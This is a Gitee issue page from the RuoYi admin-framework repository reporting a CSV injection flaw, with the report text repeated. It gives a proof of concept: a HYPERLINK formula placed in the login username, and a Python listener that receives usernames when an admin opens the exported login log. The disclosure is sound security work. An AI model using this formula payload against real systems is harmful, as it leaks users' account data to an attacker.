登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
登录
注册
代码拉取完成,页面将自动刷新
开源项目
>
WEB应用开发
>
后台管理框架
&&
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
6K
Star
46.5K
Fork
25.8K
GVP
若依
/
RuoYi
代码
Issues
3
Pull Requests
10
Wiki
统计
流水线
服务
JavaDoc
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
CSV Injection Vulnerability
已完成
#I4RBBD
sanlang
创建于
2022-01-18 16:43
The product has the CSV injection vulnerability. For example, the CSV injection vulnerability is used to obtain login accounts. 1. When a user logs in, in the request of "/login", change the value of `username` to `=HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")` by burpsuite tool.   2. Run the python script to start the HTTP service with port 8007. ``` from http.server import HTTPServer, BaseHTTPRequestHandler import json data = {'result': 'this is a test'} # You can change **localhost** to the IP address of the hacker's computer. host = ('localhost', 8007) class Resquest(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(json.dumps(data).encode()) if __name__ == '__main__': server = HTTPServer(host, Resquest) print("Starting server, listen at: %s:%s" % host) server.serve_forever() ``` 3. Choose "日志管理"->"登录日志" ("Log Management"->"Login Log") to view logs, and exporting `.xlsx` log file.  4. Open `.xlsx` log file, double-click the cell of `=HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")`. Then click an empty cell. And then click the cell of `=HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")`. In this case, a request is sent to the `localhost:8007`. The contents of cells `B2` and `B3` are `admin` and `test1`.  Before double-click.  After double-click. And then click `E`.  A request is sent to the `localhost:8007` through the browser.  5. The HTTP service with port 8007 receives the following information: `127.0.0.1 - - [18/Jan/2022 17:04:07] "GET /?u=admintest1 HTTP/1.1" 200 -`  So, we get user"admin"/"test1"/...
The product has the CSV injection vulnerability. For example, the CSV injection vulnerability is used to obtain login accounts. 1. When a user logs in, in the request of "/login", change the value of `username` to `=HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")` by burpsuite tool.   2. Run the python script to start the HTTP service with port 8007. ``` from http.server import HTTPServer, BaseHTTPRequestHandler import json data = {'result': 'this is a test'} # You can change **localhost** to the IP address of the hacker's computer. host = ('localhost', 8007) class Resquest(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(json.dumps(data).encode()) if __name__ == '__main__': server = HTTPServer(host, Resquest) print("Starting server, listen at: %s:%s" % host) server.serve_forever() ``` 3. Choose "日志管理"->"登录日志" ("Log Management"->"Login Log") to view logs, and exporting `.xlsx` log file.  4. Open `.xlsx` log file, double-click the cell of `=HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")`. Then click an empty cell. And then click the cell of `=HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")`. In this case, a request is sent to the `localhost:8007`. The contents of cells `B2` and `B3` are `admin` and `test1`.  Before double-click.  After double-click. And then click `E`.  A request is sent to the `localhost:8007` through the browser.  5. The HTTP service with port 8007 receives the following information: `127.0.0.1 - - [18/Jan/2022 17:04:07] "GET /?u=admintest1 HTTP/1.1" 200 -`  So, we get user"admin"/"test1"/...
评论 (
1
)
登录
后才可以发表评论
状态
已完成
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
未关联
分支 (2)
标签 (31)
master
springboot3
v4.8.1
v4.8.0
v4.7.9
v4.7.8
v4.7.7
v4.7.6
v4.7.5
v4.7.4
v4.7.3
v4.7.2
v4.7.1
v4.7.0
v4.6.2
v4.6.1
v4.6.0
v4.5.1
v4.5.0
v4.4
v4.3.1
v4.3
v4.2
v4.1
v4.0
v3.4
v3.3
v3.2
v3.1
v3.0
v2.4
v2.3
v2.2
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
Java
1
https://gitee.com/y_project/RuoYi.git
git@gitee.com:y_project/RuoYi.git
y_project
RuoYi
RuoYi
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
评论
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册